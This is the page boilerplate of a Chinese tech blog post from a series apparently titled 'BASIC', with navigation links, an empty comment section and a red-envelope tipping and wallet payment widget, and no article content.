qq_41911582的博客 8万+
上一篇: BASIC 4
下一篇: BASIC 6
errorlife
博客等级 码龄21年 0粉丝 2原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值